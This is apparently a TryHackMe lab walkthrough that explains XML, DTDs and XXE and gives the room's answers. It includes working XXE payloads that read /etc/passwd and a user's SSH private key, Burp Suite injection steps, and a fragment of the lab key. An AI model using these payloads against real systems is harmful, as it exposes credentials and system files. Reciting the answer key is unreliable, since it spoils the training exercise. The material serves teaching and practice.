> For the complete documentation index, see [llms.txt](https://insecurecodes.gitbook.io/tryhackme/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://insecurecodes.gitbook.io/tryhackme/web-hacking-fundamentals/owasp-top10/task-12-16.md).

# Task 12\~16

## Extensible Markup Language <a href="#extensible-markup-language" id="extensible-markup-language"></a>

### Full form of XML <a href="#full-form-of-xml" id="full-form-of-xml"></a>

#### Answer <a href="#answer" id="answer"></a>

Extensible Markup Language

### Is it compulsory to have XML prolog in XML documents? <a href="#is-it-compulsory-to-have-xml-prolog-in-xml-documents" id="is-it-compulsory-to-have-xml-prolog-in-xml-documents"></a>

#### Answer <a href="#answer-1" id="answer-1"></a>

no

### Can we validate XML documents against a schema? <a href="#can-we-validate-xml-documents-against-a-schema" id="can-we-validate-xml-documents-against-a-schema"></a>

#### Answer <a href="#answer-2" id="answer-2"></a>

yes

### How can we specify XML version and encoding in XML document? <a href="#how-can-we-specify-xml-version-and-encoding-in-xml-document" id="how-can-we-specify-xml-version-and-encoding-in-xml-document"></a>

#### Answer <a href="#answer-3" id="answer-3"></a>

XML Prolog

## DTD <a href="#dtd" id="dtd"></a>

Before we move on to start learning about XXE we'll have to understand what is DTD in XML.

DTD stands for Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document.

Let us try to understand this with the help of an example. Say we have a file named note.dtd with the following content:

```xml
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
```

Now we can use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD. Ex: Below is given an XML document that uses note.dtd

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>falcon</to>
    <from>feast</from>
    <heading>hacking</heading>
    <body>XXE attack</body>
</note>
```

So now let's understand how that DTD validates the XML. Here's what all those terms used in note.dtd mean

```
!DOCTYPE note -  Defines a root element of the document named note
!ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
!ELEMENT to - Defines the to element to be of type "#PCDATA"
!ELEMENT from - Defines the from element to be of type "#PCDATA"
!ELEMENT heading  - Defines the heading element to be of type "#PCDATA"
!ELEMENT body - Defines the body element to be of type "#PCDATA"

NOTE: #PCDATA means parseable character data.
```

### How do you define a new ELEMENT? <a href="#how-do-you-define-a-new-element" id="how-do-you-define-a-new-element"></a>

#### Answer <a href="#answer-4" id="answer-4"></a>

!ELEMENT

### How do you define a ROOT element? <a href="#how-do-you-define-a-root-element" id="how-do-you-define-a-root-element"></a>

#### Answer <a href="#answer-5" id="answer-5"></a>

!DOCTYPE

### How do you define a new ENTITY? <a href="#how-do-you-define-a-new-entity" id="how-do-you-define-a-new-entity"></a>

#### Answer <a href="#answer-6" id="answer-6"></a>

!ENTITY

## XXE Payload <a href="#xxe-payload" id="xxe-payload"></a>

1. The first payload we'll see is very simple. If you've read the previous task properly then you'll understand this payload very easily.

```xml
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
 <userInfo>
  <firstName>falcon</firstName>
  <lastName>&name;</lastName>
 </userInfo>
```

As we can see we are defining a ENTITY called name and assigning it a value feast. Later we are using that ENTITY in our code.

1. We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword

```xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
```

Here again, we are defining an ENTITY with the name read but the difference is that we are setting it value to `SYSTEM` and path of the file.

If we use this payload then a website vulnerable to XXE(normally) would display the content of the file **/etc/passwd**.

In a similar manner, we can use this kind of payload to read other files but a lot of times you can fail to read files in this manner or the reason for failure could be the file you are trying to read.

## XML External Entity - Exploiting <a href="#xml-external-entity---exploiting" id="xml-external-entity---exploiting"></a>

```xml
<!DOCTYPE replace [<!ENTITY name "renan"> ]>
 <userInfo>
  <firstName>falcon</firstName>
  <lastName>&name;</lastName>
 </userInfo>
```

```xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
```

### What is the name of the user in /etc/passwd <a href="#what-is-the-name-of-the-user-in-etcpasswd" id="what-is-the-name-of-the-user-in-etcpasswd"></a>

1. Open Burpsuite
2. Turn on intercept
3. Inject XML attack

   ```xml
   <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
    <root>&read;</root>
   ```
4. Send attack to repeater
5. Change **xxe** with a more human readable format

```xml
xxe=
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
```

#### Answer <a href="#answer-7" id="answer-7"></a>

Found user **falcon**

### Where is falcon's SSH key located? <a href="#where-is-falcons-ssh-key-located" id="where-is-falcons-ssh-key-located"></a>

#### Answer <a href="#answer-8" id="answer-8"></a>

```
/home/falcon/.ssh/id_rsa
```

### What are the first 18 characters for falcon's private key <a href="#what-are-the-first-18-characters-for-falcons-private-key" id="what-are-the-first-18-characters-for-falcons-private-key"></a>

```xml
xxe=
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:////home/falcon/.ssh/id_rsa'>]>
<root>&read;</root>
```

#### Answer <a href="#answer-9" id="answer-9"></a>

```
MIIEogIBAAKCAQEA7b
```

<figure><img src="/files/SZ1A37pFs70i4cB0vQ51" alt=""><figcaption></figcaption></figure>
